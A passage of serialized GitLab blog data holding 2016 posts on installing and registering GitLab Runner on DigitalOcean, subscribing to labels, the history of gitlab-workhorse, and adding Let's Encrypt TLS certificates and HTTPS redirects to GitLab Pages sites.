creation](https://about.gitlab.com/images/blogimages/how-to-set-up-gitlab-runner-on-digitalocean/finalize-shadow.png)\n\nYour Docker droplet will be created and available in a few minutes!\n\n## Install the GitLab Runner\n\nFirst, login to the new droplet via SSH and verify that Docker is installed with:\n\n```bash\ndocker info\n```\n\nThis should show a bunch of information about the Docker version, the number of\nimages and containers, etc. With that set, we're ready to install GitLab\nRunner.\n\nGitLab provides a repository where you can easily install and update GitLab\nRunner. The supported distros as Debian, Ubuntu and CentOS. Let's install the\nrepository with this one-line:\n\n```bash\ncurl -L https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh | sudo bash\n```\n\nFeel free to read the script before you execute it if you want.\n\nNow let's install GitLab Runner:\n\n```bash\nsudo apt-get install gitlab-runner\n```\n\nAnd verify it's installed:\n\n```bash\ngitlab-runner --version\n```\n\nExcellent! We're now ready to start using it.\n\n> **Note:**\nFor other installation methods and Operating Systems, see the\n[installation documentation][doc-install].\n\n## Register the GitLab Runner\n\nRegistering a Runner is the process of tying it with a specific GitLab project.\nEach project on GitLab has a unique token that is used by the Runner in order\nto be able to talk to GitLab via its API.\n\nWhen we installed GitLab Runner in the previous step, we installed GitLab Runner\nthe service. Each GitLab Runner service can spawn as many Runner processes you\nwant, so you can eventually register multiple Runners in a single droplet, each\nof which can be tied to a separate project.\n\nTo register a Runner we first need to know the project's token. Go to your\nnewly created project or pick one that already uses GitLab.com's shared Runners.\nNavigate to the project's **Settings > Runners** and notice that the shared\nRunners are enabled. In the left side you get detailed information on the steps\nneeded to register a new Runner.\n\n![Runners settings](https://about.gitlab.com/images/blogimages/how-to-set-up-gitlab-runner-on-digitalocean/runners-shadow.png)\n\nNow, let's get back to the droplet and start registering a Runner:\n\n```\nsudo gitlab-runner register\n```\n\nThe command above is interactive, so you will be asked the information needed to\nregister a new Runner.\n\n- **the gitlab-ci coordinator URL:** Enter `https://gitlab.com/ci`.\n- **the gitlab-ci token for this runner:** The token in the previous image.\n- **the gitlab-ci description for this runner:** This is for your own accord,\n  in case you have multiple Runners and want something to remind you what the\n  Runner is about. If you don't enter a description, the hostname of the\n  droplet will be used.\n- **the gitlab-ci tags for this runner:** You can use tags in your\n  `.gitlab-ci.yml` to limit jobs to specific Runners. Useful if for example\n  you are running tests on different OSes. Enter `docker,digitalocean` for this\n  example.\n- **enter the executor:** Our executor will be `docker`.\n- **enter the default Docker image:** The default Docker image that will be\n  used if you don't specify it in `.gitlab-ci.yml`.\n\nOnce answered all questions, you can verify that the Runner is registered with:\n\n```\nsudo gitlab-runner list\n```\n\nNow if you head back in your project's **Settings > Runners** you will see that\nthe Runner appeared in the list.\n\n![Runner](https://about.gitlab.com/images/blogimages/how-to-set-up-gitlab-runner-on-digitalocean/runner-shadow.png)\n\nYou can now start using this specific Runner for your project and you may\ndisable the shared Runners.\n\n",{"slug":38349,"featured":6,"template":678},"how-to-set-up-gitlab-runner-on-digitalocean","content:en-us:blog:how-to-set-up-gitlab-runner-on-digitalocean.yml","How To Set Up Gitlab Runner On Digitalocean","en-us/blog/how-to-set-up-gitlab-runner-on-digitalocean.yml","en-us/blog/how-to-set-up-gitlab-runner-on-digitalocean",{"_path":38355,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38356,"content":38361,"config":38365,"_id":38367,"_type":16,"title":38368,"_source":17,"_file":38369,"_stem":38370,"_extension":20},"/en-us/blog/feature-highlight-subscribe-to-label",{"title":38357,"description":38358,"ogTitle":38357,"ogDescription":38358,"noIndex":6,"ogImage":38323,"ogUrl":38359,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38359,"schema":38360},"Feature Highlight: Subscribe to Label","In GitLab 8.6 and up, you can subscribe to a label. Whenever an issue is tagged with the label you subscribed to, you will get a notification.","https://about.gitlab.com/blog/feature-highlight-subscribe-to-label","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Subscribe to Label\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2016-04-13\",\n      }",{"title":38357,"description":38358,"authors":38362,"heroImage":38323,"date":38363,"body":38364,"category":8943},[36660],"2016-04-13","\n\nIn active projects, it can be hard to keep track of issues that are important to you.\nFor example, a project like GitLab has thousands of issues, but you might only\nbe interested in those related to *performance*.\n\nYou can already mention people in GitLab by using someone's @-handle, but as\nmore people join a project, it becomes harder to keep track of who is interested in what.\n\nTo solve this, in GitLab 8.6 and up, you can subscribe to a label.\nWhenever an issue is tagged with the label you subscribed to, you will get\na notification. This is irrespective of your notification level to the project.\n\n\u003C!-- more -->\n\n## How to Subscribe to a Label\n\nTo subscribe to a label, visit the labels in your project and click on subscribe\nfor any of the labels.\n\n![Subscribe to Label](https://about.gitlab.com/images/blogimages/gitlab-subscribe-labels.png)\n\nYou will now get a notification whenever any issues or merge requests get\ntagged with this label.\n\n## At GitLab\n\n[Yorick](https://twitter.com/Yorickpeterse), resident performance expert at\nGitLab, is subscribed to the performance\nlabel. This allows him to cut through the noise of the thousands of issues\ncreated in the various GitLab projects and focus on anything related to\nperformance.\n\nEveryone on the team does their best to tag issues with a relevant label.\nWhenever someone adds the `performance` label to an issue, Yorick immediately\ngets a notification, without having to watch Issues closely.\n\nHaving recently joined GitLab, Amara Nwaigwe immediately started using the\nSubscribe to Label feature. She says:\n\n> \"I subscribe to various labels because they relate to things I would like to\nknow. I want to maintain a level of visibility of things that are relevant to\nme\"\n\nWe hope you like this feature!\n\n## What's coming next?\n\nIf you're curious what is coming next in GitLab, you can always visit our\n[Direction](/direction/) page for insight into our\nroadmap. We always love your feedback.\n",{"slug":38366,"featured":6,"template":678},"feature-highlight-subscribe-to-label","content:en-us:blog:feature-highlight-subscribe-to-label.yml","Feature Highlight Subscribe To Label","en-us/blog/feature-highlight-subscribe-to-label.yml","en-us/blog/feature-highlight-subscribe-to-label",{"_path":38372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38373,"content":38379,"config":38383,"_id":38385,"_type":16,"title":38386,"_source":17,"_file":38387,"_stem":38388,"_extension":20},"/en-us/blog/a-brief-history-of-gitlab-workhorse",{"title":38374,"description":38375,"ogTitle":38374,"ogDescription":38375,"noIndex":6,"ogImage":38376,"ogUrl":38377,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38377,"schema":38378},"A Brief History of GitLab Workhorse","A Brief History of GitLab Workhorse - in this blog post I will reflect on how we got there.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684809/Blog/Hero%20Images/gopher.jpg","https://about.gitlab.com/blog/a-brief-history-of-gitlab-workhorse","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A Brief History of GitLab Workhorse\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2016-04-12\",\n      }",{"title":38374,"description":38375,"authors":38380,"heroImage":38376,"date":38381,"body":38382,"category":734},[15467],"2016-04-12","\nIn the past 8 months gitlab-workhorse, a 'weekend project' written in Go\ninstead of our preferred Ruby, grew from a tiny program that addressed\n`git clone` timeouts into a critical component that touches almost all\nHTTP requests to GitLab. In this blog post I will reflect on how we got\nhere.\n\n\u003C!-- more -->\n\n## Technical and personal motivations\n\nGitLab is a Ruby on Rails web application that uses the\n[Unicorn](http://unicorn.bogomips.org/) Ruby web server. I am a fan of\nUnicorn because it makes application resource leaks manageable and\nbecause it has served GitLab well for a long time by patching up\nproblems which we found or find too hard to solve 'properly'. (I am\nknown to growl at people who suggest swapping out Unicorn for another\nweb server in GitLab.)\n\nAt the same time, the design of Unicorn is incompatible with one of\nGitLab's main functions, namely Git repository access (`git clone`,\n`git push`, etc.) via HTTP(S). The reason it is incompatible is that\nUnicorn heavily relies on (relatively) short request timeouts. If you\nconfigure Unicorn to time out slowly rather than quickly then it starts\nto become a lot less pleasant to work with. A `git clone` on the other\nhand may take quite a long time if you are fetching a large Git\nrepository. In my previous role as a service engineer at GitLab I\nregularly had to explain this tension to customers. The only solution we\ncould offer was 'use Git over SSH instead'.\n\nAnother factor that led to gitlab-workhorse was my unfulfilled curiosity\nabout the [Go programming language](https://golang.org/). Go is\nsometimes credited with (or discredited for) having a strong marketing\npush behind it. The marketing worked on me: I have had a plush Go mascot\nstaring at me on my desk for almost three years now.\n\n![Gopher](https://about.gitlab.com/images/brief-history-of-gitlab-workhorse/gopher.jpg)\n\n## A weekend project gets merged into master\n\nSo one weekend in July last year I found myself with an itch to build\nsomething in Go and a lack of imagination which led me to ask myself:\ncould I rewrite\n[gitlab-grack](https://gitlab.com/gitlab-org/gitlab-grack), the GitLab\ncomponent that responds to Git HTTP clients, in Go? For the record I am\nnot proud of having used my own (non-work) time to drive development of\nthis project for the first few months, I think it sets a bad example for\nmyself and others. But that is how it went.\n\nThe result was a very short and mostly correct Go program called\n'gitlab-git-http-server' that suffered from none of the timeout issues\nthat `git clone` via Unicorn had. It integrated with GitLab in a sneaky\nway by letting NGINX divert Git HTTP requests away from Unicorn to\ngitlab-git-http-server. The required changes in the GitLab Rails\ncodebase were so minor that I could easily hide them behind a [feature\nflag](https://en.wikipedia.org/wiki/Feature_toggle). To top it off I\nannounced gitlab-git-http-server to the team on a day the CTO was on\nvacation: the ultimate sneak attack. Just kidding, but I thought it was\na funny coincidence about [Dmitriy](https://gitlab.com/dzaporozhets)'s\nvacation.\n\nThe team somehow let me 'try gitlab-git-http-server out' (read: merge it\ninto master and deploy it on our staging server) and so it got started.\nLess than a month later GitLab 7.14 shipped with gitlab-git-http-server\nbehind a feature flag. This allowed us to test it on GitLab.com for a\nmonth. Between our staging environment and GitLab.com we were able to\ncatch the worst bugs. In GitLab 8.0 (released the month after 7.14)\nwe made gitlab-git-http-server an official (and required!) component of\nGitLab.\n\nThe acceptance of gitlab-git-http-server by the team was probably helped\nby a shared understanding that GitLab's Git-over-HTTP solution was just\nnot quite cutting it, and by the fact that we already used Go for\n[gitlab-ci-multi-runner](https://gitlab.com/gitlab-org/gitlab-runner).\nBut there was no up-front decision to solve the problem of Git-over-HTTP\nat this particular time, or using these means.\n\n## Feature creep\n\nUntil now gitlab-git-http-server was a one-trick pony: it only handled\nGit HTTP clients. But as usually happens when you have a new hammer,\nother things started looking like nails. In GitLab 8.1 we changed\ngitlab-git-http-server to also handle the 'download zip' button from the\nGitLab web interface. In retrospect this seems obvious but at the time\nit felt like a big leap: in our minds, gitlab-git-http-server was a\ndaemon that understood (stateless) [HTTP Basic\nAuthentication](https://en.wikipedia.org/wiki/Basic_access_authentication)\nbut not the session cookies used by GitLab to identify individual users.\nBut a session cookie is just an HTTP header so nothing stopped\ngitlab-git-http-server from 'impersonating' a logged-in user and\ngenerating a zip file for them on the fly. I have a bit of a hard time\nexplaining now why but we thought this was very neat at the time.\n\n## Time for a new name\n\nIn GitLab 8.2 we wanted to ship two new features for which we expected\nthe same sort of Unicorn timeout problems that had plagued Git-over-HTTP\nin the past: [Git LFS](https://git-lfs.github.com/) support (developed\nby [Marin](https://gitlab.com/marin)) and [CI build\nartifacts](http://doc.gitlab.com/ce/ci/build_artifacts/README.html)\n(developed by [Kamil](https://gitlab.com/ayufan)). Both of these\nfeatures depended on users uploading and downloading arbitrarily large\nfiles.\n\nThis development brought many improvements to gitlab-git-http-server.\nFirst of all, the more people had to say or write\n'gitlab-git-http-server', the more obvious it became that the name was\ntoo awkward. And with all these new features it was also no longer\nappropriate, because the program did more than dealing with\nGit-over-HTTP. We have Marin to thank for coming up with\n'gitlab-workhorse' which I especially like because it pokes fun at\nUnicorn.\n\nIt was also a great development for gitlab-workhorse to be getting\nattention from Kamil because he is our resident Go expert. This was very\nwelcome: I felt confident enough that gitlab-workhorse functioned\ncorrectly, but I am not an experienced Go programmer. Having Kamil in\nthe game helped us make gitlab-workhorse a better Go program.\n\nFor a short while, Marin and I were on the one hand trying to implement\nfile uploads/downloads in gitlab-workhorse, while Kamil on the other\nhand was implementing the same thing for CI artifacts using NGINX\nplugins. Luckily we spotted the duplication of efforts before the code\nwent out the door so we were able to implement this in gitlab-workhorse\ntogether for GitLab 8.2.\n\nWe ended up with an especially nice solution for file downloads in\ngitlab-workhorse, inspired by the mechanism Kamil intended to use in\nNGINX: `X-Sendfile` headers. Most of the time when you want to use\ngitlab-workhorse to make something faster or more robust in GitLab you\nhave to write both Ruby code and Go code. But because [Ruby on Rails\nunderstands `X-Sendfile`\nalready](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file),\nGitLab developers can reap the benefits of gitlab-workhorse for file\ndownloads without writing any Go code!\n\n## Betting the farm\n\nBy this time the success with which we could build new GitLab features\nby doing part of the work in gitlab-workhorse started to cause problems\nof its own. Each time we added a feature to gitlab-workhorse that meant\ndiverting more HTTP requests to gitlab-workhorse in the NGINX\nconfiguration. This complexity was hidden from people who installed\nGitLab using our [Omnibus packages](https://packages.gitlab.com/gitlab)\nbut I could tell from the gitlab-workhorse issue tracker that this was a\nrecurring source of problems for installations from source.\n\nPrior to gitlab-workhorse, NGINX served static files or forwarded\nrequests to Unicorn:\n\n    +----------+      +-------------+\n    |          |      |             |\n    |  NGINX   +----> |   Unicorn   |\n    |          |      |             |\n    +------+---+      +-------------+\n           |\n           |\n           |          +------------+\n           |          |            |\n           +--------> |   static   |\n                      |   files    |\n                      |            |\n                      +------------+\n\nNow with gitlab-workhorse in the picture, NGINX had to know which\nrequests to send to Unicorn, which to gitlab-workhorse, and which to\nstatic files.\n\n                    +--------------------+\n                    |                    |\n           +------> |  gitlab-workhorse  |\n           |        |                    |\n           |        +---------+----------+\n           |                  |\n           |                  v\n           |\n    +------+---+      +-------------+\n    |          |      |             |\n    |  NGINX   +----> |   Unicorn   |\n    |          |      |             |\n    +------+---+      +-------------+\n           |\n           |\n           |          +------------+\n           |          |            |\n           +--------> |   static   |\n                      |   files    |\n                      |            |\n                      +------------+\n\nKamil half-jokingly suggested at one point that we could route all HTTP\ntraffic to GitLab through gitlab-workhorse. Over time I started to\nbelieve this was a good idea: it would radically simplify the NGINX\nconfiguration for GitLab, and consequently make it easier to deploy\nGitLab behind other web servers (like Apache) which some people prefer\nstrongly to using NGINX. It seems the idea grew on Kamil too because we\nsoon saw a huge merge request from him to gitlab-workhorse which turned\nit into a 'smart proxy' that serves static files, injects error pages,\nimplements Git-over-HTTP plus other features, *and* proxies traffic to\nGitLab.\n\n    +-------------+         +---------------------+        +------------+\n    |             |         |                     |        |            |\n    |   NGINX     +-------> |  gitlab-workhorse   +------> |  Unicorn   |\n    |             |         |                     |        |            |\n    +-------------+         +---------------------+        +------------+\n\nThis change went out in GitLab 8.3. In little over four months\ngitlab-workhorse went from being a little helper daemon on the side to a\ntraffic cop that routes all HTTP requests going into GitLab.\n\nThis work immediately paid off in GitLab 8.4 when\n[Grzegorz](https://gitlab.com/grzesiek) added the CI artifact browsing\nfeature and GitLab 8.5 where we started serving 'raw' Git blobs via\ngitlab-workhorse. Neither of these changes forced GitLab administrators\nto update their NGINX configuration.\n\n## What to do next\n\nThe most important next step for gitlab-workhorse is to make it less\ndependent on me by getting more of my team members to contribute to the\ncode. I am trying to do this by purposely leaving some [nice\nchanges](https://gitlab.com/gitlab-org/gitlab-ce/issues/13999) for\nothers to implement.\n\nBecause of the gradual (and sneaky :) ) way gitlab-workhorse was added\nto GitLab we still have some technical debt in GitLab in the [Git HTTP\nauthentication / authorization\ncode](https://gitlab.com/gitlab-org/gitlab-ce/issues/14501). It would be\nnice to clean this up.\n\nFinally, it is sub-optimal that we still buffer Git pushes in NGINX\nbefore forwarding them to gitlab-workhorse. We could avoid this\nunncessary delay and give people who use Apache instead of NGINX a\nbetter experience if we [implement selective request buffering in\ngitlab-workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse/issues/1#note_2681403).\n\nIf you want to know what is coming next in GitLab, check out our\n[Direction](/direction/) page, or follow developments on\nour latest milestones for 8.7 [CE](https://gitlab.com/gitlab-org/gitlab-ce/milestones/23)\nand [EE](https://gitlab.com/gitlab-org/gitlab-ee/milestones/9).\n",{"slug":38384,"featured":6,"template":678},"a-brief-history-of-gitlab-workhorse","content:en-us:blog:a-brief-history-of-gitlab-workhorse.yml","A Brief History Of Gitlab Workhorse","en-us/blog/a-brief-history-of-gitlab-workhorse.yml","en-us/blog/a-brief-history-of-gitlab-workhorse",{"_path":38390,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38391,"content":38397,"config":38402,"_id":38404,"_type":16,"title":38405,"_source":17,"_file":38406,"_stem":38407,"_extension":20},"/en-us/blog/tutorial-securing-your-gitlab-pages-with-tls-and-letsencrypt",{"title":38392,"description":38393,"ogTitle":38392,"ogDescription":38393,"noIndex":6,"ogImage":38394,"ogUrl":38395,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38395,"schema":38396},"Tutorial: Securing your GitLab Pages with TLS and Let's Encrypt","In this post we will talk about HTTPS and how to add it to your GitLab Pages site with Let's Encrypt","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672214/Blog/Hero%20Images/altssh.jpg","https://about.gitlab.com/blog/tutorial-securing-your-gitlab-pages-with-tls-and-letsencrypt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Securing your GitLab Pages with TLS and Let's Encrypt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Guest author André Miranda\"}],\n        \"datePublished\": \"2016-04-11\",\n      }",{"title":38392,"description":38393,"authors":38398,"heroImage":38394,"date":38400,"body":38401,"category":734},[38399],"Guest author André Miranda","2016-04-11","\n\nIn this post we will talk about HTTPS and how to add it to your GitLab Pages site\nwith [Let's Encrypt][letsencrypt].\n\n\u003C!-- more -->\n\n## Why TLS/SSL?\n\nWhen discussing HTTPS, it's common to hear people saying that a static\nwebsite doesn't need HTTPS, since it doesn't receive any POST requests, or isn't\nhandling credit card transactions or any other secure request.\nBut that's not the whole story.\n\nTLS ([formerly SSL][TLSwiki]) is a security protocol that can be added to HTTP\nto increase the security of your website by:\n\n1. properly authenticating yourself: the client can trust that you are really\n**you**. The TLS handshake that is made at the beginning of the connection\nensures the client that no one is trying to impersonate you;\n2. data integrity: this ensures that no one has tampered with the data in a\nrequest/response cycle;\n3. encryption: this is the main selling point of TLS, but the\nother two are just as important. This protects the privacy of the communication\nbetween client and server.\n\nThe TLS layer can be added to other protocols too, such as FTP (making it\n[FTPS](https://en.wikipedia.org/wiki/FTPS)) or WebSockets\n(making `ws://` [`wss://`](https://devcenter.heroku.com/articles/websocket-security#wss)).\n\n## HTTPS Everywhere\n\nNowadays, there is a strong push for using TLS on every website.\nThe ultimate goal is to make the web safer, by adding those three components\ncited above to every website.\n\nThe first big player was the [HTTPS Everywhere](https://www.eff.org/https-everywhere)\nbrowser extension. Google has also been using HTTPS compliance to better\nrank websites since [2014](https://webmasters.googleblog.com/2014/08/https-as-ranking-signal.html).\n\n## How to get TLS certificates\n\nIn order to add TLS to HTTP, one would need to get a certificate, and until 2015,\none would need to either pay for it or figure out how to do it with one of the\navailable [Certificate Authorities][certificateauthority].\n\nEnter [Let's Encrypt][letsencrypt], a free, automated, and open Certificate Authority.\nSince [December 2015][publicbeta] anyone can get a free certificate from this\nnew Certificate Authority from the comfort of their terminal.\n\n\n## Implementation\n\nSo, let's suppose we're going to create a static blog with [Jekyll 3][Jekyll].\nIf you are not creating a blog or are not using Jekyll just follow along, it\nshould be straightforward enough to translate the steps for different purposes.\nYou can also find many example projects using different static site generators\n(like Middleman or Hugo) in [GitLab's example projects][examplepages].\n\nA simple example blog can be created with:\n\n```shell\n$ jekyll new cool-blog\nNew jekyll site installed in ~/cool-blog.\n$ cd cool-blog/\n```\n\nNow you have to create a GitLab project. Here we are going to create a \"user\npage\", which means that it is a project created within a user account (not a\ngroup account), and that the name of the project looks like `YOURUSERNAME.gitlab.io`.\nRefer to the [\"Getting started\" section of the GitLab Pages manual][pagesdocs]\nfor more information on that.\n\nFrom now on, remember to replace `YOURDOMAIN.org` with your custom domain and\n`YOURUSERNAME` with, well, your username. ;)\n\n[Create a project] named `YOURUSERNAME.gitlab.io` so that GitLab will\nidentify the project correctly. After that, upload your code to GitLab:\n\n```\n$ git remote add origin git@gitlab.com:YOURUSERNAME/YOURUSERNAME.gitlab.io.git\n$ git push -u origin master\n```\n\nOK, so far we have a project uploaded to GitLab, but we haven't configured GitLab Pages yet.\nTo configure it, just create a `.gitlab-ci.yml` file in the root directory of your repository\nwith the following contents:\n\n```yaml\npages:\n  stage: deploy\n  image: ruby:2.3\n  script:\n    - gem install jekyll\n    - jekyll build -d public/\n  artifacts:\n    paths:\n      - public\n  only:\n    - master\n```\n\nThis file instructs GitLab Runner to `deploy` by installing Jekyll and\nbuilding your website under the `public/` folder\n(`jekyll build -d public/`).\n\nWhile you Wait for the build process to complete, you can track the progress in the\nBuilds page of your project. Once it starts, it probably won't take longer\nthan a few minutes. Once the build is finished, your website will be available at\n`https://YOURUSERNAME.gitlab.io`. Note that GitLab already provides TLS\ncertificates to all subdomains of `gitlab.io` (but it has some limitations, so\nplease [refer to the documentation for more][limitation]). So if you don't want to add a\ncustom domain, you're done.\n\n## How to configure the TLS certificate of your custom domain.\n\nOnce you buy a domain name and point that domain to your GitLab Pages website,\nyou need to configure 2 things:\n\n1. add the domain to GitLab Pages configuration ([see documentation][customdomain]);\n2. add your custom certificate to your website.\n\nOnce you add your domain, your website will be available under both\n`http://YOURDOMAIN.org` and `https://YOURUSERNAME.gitlab.io`.\n\nBut if you try to access your custom domain with `HTTPS`\n(`https://YOURDOMAIN.org` in this case), your browser will show that\nhorrible page, saying that things are going wrong and someone is trying to\nsteal your information. *Why is that?*\n\nSince GitLab offers TLS certificates to all `gitlab.io` pages\nand your custom domain is just a `CNAME` over that same domain, GitLab serves\nthe `gitlab.io` certificate, and your browser receives mixed messages: on one\nside, the browser is trying to access `YOURDOMAIN.org`, but on the other side\nit is getting a TLS certificate for `*.gitlab.io`,\nsignaling that something is wrong.\n\nIn order to fix it, you need to obtain a certificate for `YOURDOMAIN.org` and\nadd it to GitLab Pages. For that we are going to use\n[Let's Encrypt](https://letsencrypt.org/).\n\nLet's Encrypt is a new certificate authority that offers both *free* and\n*automated* certificates. That's perfect for us: we don't have to pay for\nhaving HTTPS and you can do everything within the comfort of your terminal.\n\nWe begin with downloading the `letsencrypt-auto` utility.\nOpen a new terminal window and type:\n\n```shell\n$ git clone https://github.com/letsencrypt/letsencrypt\n$ cd letsencrypt\n```\n\n`letsencrypt-auto` offers a lot of functionality. For example, if you have\na web server running Apache, you could add `letsencrypt-auto --apache` inside your\nwebserver and have everything done for you. `letsencrypt` targets primarily Unix-like\nwebservers, so the `letsencrypt-auto` tool won't work for Windows users. Check [this\ntutorial][letsencryptwindows] to see how to get Let's Encrypt certificates while running\nWindows.\n\nSince we are running on GitLab's servers instead, we have to do a bit of manual\nwork:\n\n```shell\n$ ./letsencrypt-auto certonly -a manual -d YOURDOMAIN.org\n#\n# If you want to support another domain, www.YOURDOMAIN.org, for example, you\n# can add it to the domain list after -d like:\n# ./letsencrypt-auto certonly -a manual -d YOURDOMAIN.org www.YOURDOMAIN.org\n#\n```\n\nAfter you accept that your IP will be publicly logged, a message like the\nfollowing will appear:\n\n```shell\nMake sure your web server displays the following content at\nhttp://YOURDOMAIN.org/.well-known/acme-challenge/5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM\nbefore continuing:\n\n5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM.ewlbSYgvIxVOqiP1lD2zeDKWBGEZMRfO_4kJyLRP_4U\n\n#\n# output omitted\n#\n\nPress ENTER to continue\n```\n\nNow it is waiting for the server to be correctly configured so it can go on.\nLeave this terminal window open for now.\n\nSo, the goal is to the make our already-published static website return\nsaid token when said URL is requested. That's easy: create a custom\npage! Just create a file in your blog folder that looks like this:\n\n```markdown\n---\nlayout: null\npermalink: /.well-known/acme-challenge/5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM.html\n---\n\n5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM.ewlbSYgvIxVOqiP1lD2zeDKWBGEZMRfO_4kJyLRP_4U\n```\n\nThis tells Jekyll to create a static page, which you can see at\n`cool-blog/_site/.well-known/acme-challenge/5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM.html`,\nwith no extra HTML, just the token in plain text. As we are using the `permalink` attribute in the\nfront matter, you can name this file anyway you want and put it anywhere, too.\n Note that the behaviour of the `permalink` attribute has\n[changed][jekyllversion] from Jekyll 2 to Jekyll 3, so make sure you have Jekyll 3.x installed.\nIf you're not using version 3 of Jekyll or if you're using a different tool,\njust create the same file in the exact path, like\n`cool-blog/.well-known/acme-challenge/5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM.html`\nor an equivalent path in your static site generator of choice.\nHere we'll call it `letsencrypt-setup.html` and place it in the root folder\nof the blog. In order to check that everything is working as expected, start a local server with `jekyll serve` in a separate terminal window and try to access the URL:\n\n```shell\n$ curl http://localhost:4000/.well-known/acme-challenge/5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM\n# response:\n5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM.ewlbSYgvIxVOqiP1lD2zeDKWBGEZMRfO_4kJyLRP_4U\n```\n\nNote that I just replaced the `http://YOURDOMAIN.org` (from the\n`letsencrypt-auto` instructions) with `http://localhost:4000`.\nEverything is working fine, so we just need to upload the new file to GitLab:\n\n```\n$ git add letsencrypt-setup.html\n$ git commit -m \"add letsencypt-setup.html file\"\n$ git push\n```\n\nOnce the build finishes, test again if everything is working well:\n\n```shell\n# Note that we're using the actual domain, not localhost anymore\n$ curl http://YOURDOMAIN.org/.well-known/acme-challenge/5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM\n```\n\nIf you get a `404 page not found`, check if you missed any step, or get in touch\nin the comments below.\n\nNow that everything is working as expected, go back to the terminal window\nthat's waiting for you and hit `ENTER`. This instructs the Let's Encrypt's\nservers to go to the URL we just created. If they get the response they were waiting for,\nwe've proven that we actually own the domain and now they'll send you the\nTLS certificates. After a while it responds:\n\n```\nIMPORTANT NOTES:\n - Congratulations! Your certificate and chain have been saved at\n   /etc/letsencrypt/live/YOURDOMAIN.org/fullchain.pem. Your cert will\n   expire on 2016-07-04. To obtain a new version of the certificate in\n   the future, simply run Let's Encrypt again.\n - If you like Let's Encrypt, please consider supporting our work by:\n\n   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate\n   Donating to EFF:                    https://eff.org/donate-le\n```\n\nSuccess! We have correctly acquired a free TLS certificate for our domain!\n\nNote, however, that like any other TLS certificate, it has an expiration date,\nand in the case of certificates issued by Let's Encrypt, the certificate will\nremain valid for 90 days. When you finish setting up, just put in your calendar to\nremember to renew the certificate in time, otherwise it will become invalid,\nand the browser will reject it.\n\nNow we just need to upload the certificate and the key to GitLab.\nGo to **Settings** -> **Pages** inside your project, remove the old `CNAME` and\nadd a new one with the same domain, but now you'll also upload the TLS\ncertificate. Paste the contents of `/etc/letsencrypt/live/YOURDOMAIN.org/fullchain.pem`\n(you'll need `sudo` to read the file) to the \"Certificate (PEM)\"\n field and `/etc/letsencrypt/live/YOURDOMAIN.org/privkey.pem` (also needs `sudo`) to the\n\"Key (PEM)\" field.\n\n![Uploading the certificate to GitLab Pages](https://about.gitlab.com/images/blogimages/gitlab-pages-cert-upload-screenshot.png)\n\nAnd you're done! You now have a fully working HTTPS website:\n\n```shell\n$ curl -vX HEAD https://YOURDOMAIN.org/\n#\n# starting connection\n#\n* TLS 1.2 connection using TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\n* Server certificate: YOURDOMAIN.org\n* Server certificate: Lets Encrypt Authority X3\n* Server certificate: DST Root CA X3\n```\n\n## How to redirect all traffic to the HTTPS version\n\nEverything is working fine, but now we have an extra concern: we have two\nworking versions of our website, both HTTP **and** HTTPS. We need a way to\nredirect all of our traffic to the HTTPS version, and tell search engines to\ndo the same.\n\n### How to tell search engines which is the correct version\n\nInstructing the search engines is really easy: just tell them that the HTTPS\nversion is the \"canonical\" version, and they send all the users to it.\nAnd how do you do that? By adding a `link` tag to the header of the HTML:\n\n```html\n\u003Clink rel=\"canonical\" href=\"https://YOURDOMAIN.org/specific/page\" />\n```\n\nAdding this to every header on a blog tells the search engine that the correct\nversion is the HTTPS one, and they'll comply.\n\n### Internal links\n\nRemember to use HTTPS for your CSS or JavaScript file URLs, because when the\nbrowser accesses a secure website that relies on an insecure resource, it may\nblock that resource.\n\nIt is [considered a good practice][relativeprotocol] to use the protocol-agnostic path:\n\n```\n\u003Clink rel=\"stylesheet\" href=\"//YOURDOMAIN.org/styles.css\" />\n\u003Cscript src=\"//YOURDOMAIN.org/script.js\">\u003C/script>\n```\n\n### When to use JavaScript-based redirect\n\nThere is, however, a case where the user specifically types in the URL\n**without** using HTTPS, and they'll access the HTTP version of your website.\n\nThe correct way of handling that would be to respond with a 301 \"Moved\npermanently\" HTTP code, and the browser would remember it for the next request.\nHowever, that's not a possibility we have here, since we're running on GitLab's servers.\n\nA small hack you can do is to redirect your users with a bit of JavaScript code:\n\n```javascript\nvar host = \"YOURDOMAIN.org\";\nif ((host == window.location.host) && (window.location.protocol != 'https:')) {\n  window.location = window.location.toString().replace(/^http:/, \"https:\");\n}\n```\n\nThis redirects the user to the HTTPS version, but there are a few problems with it:\n\n1. a user could have JavaScript disabled, and would not be affected by that;\n2. an attacker could simply remove that code and behave as a [Man in the Middle][middleattack];\n3. the browser won't remember the redirect instruction, so every time 